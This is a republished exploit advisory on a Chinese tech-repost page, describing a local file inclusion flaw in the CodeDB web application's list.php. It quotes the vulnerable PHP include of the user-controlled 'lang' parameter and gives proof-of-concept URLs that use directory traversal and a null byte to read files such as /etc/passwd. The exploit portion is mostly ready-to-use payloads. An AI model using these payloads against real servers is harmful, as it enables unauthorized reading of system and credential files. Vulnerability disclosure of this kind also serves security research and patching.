首页 > 系统服务 > 详细

CodeDB (list.php lang) Local File Inclusion Vulnerability

时间:2015-11-30 21:47:09      阅读:1107      评论:0      收藏:0      [点我收藏+]
###############################################################################
#
# Name : CodeDB (list.php lang) Local File Inclusion Vulnerability
# Author : cOndemned
# Greetz : ZaBeaTy, str0ke, irk4z, GregStar, doctor, Adish, Avantura ;*
#
###############################################################################

Source :

// list.php

2. $lang = htmlspecialchars($_GET[‘lang‘]); // ok, but.... for what ? lol

7. if(file_exists(‘templates/‘.$lang.‘_middle.php‘)) // We‘ll have to cut off rest of filename & extension
8. include(‘templates/‘.$lang.‘_middle.php‘); // Ekhm... pwned ;d


Proof of Concept :

http://[host]/[codeDB_path]/list.php?lang=../readme.txt\0
http://[host]/[codeDB_path]/list.php?lang=../../../../etc/passwd\0
http://[host]/[codeDB_path]/list.php?lang=../[local_file]\0


EoF.

CodeDB (list.php lang) Local File Inclusion Vulnerability

原文:http://www.jb51.net/hack/5690.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!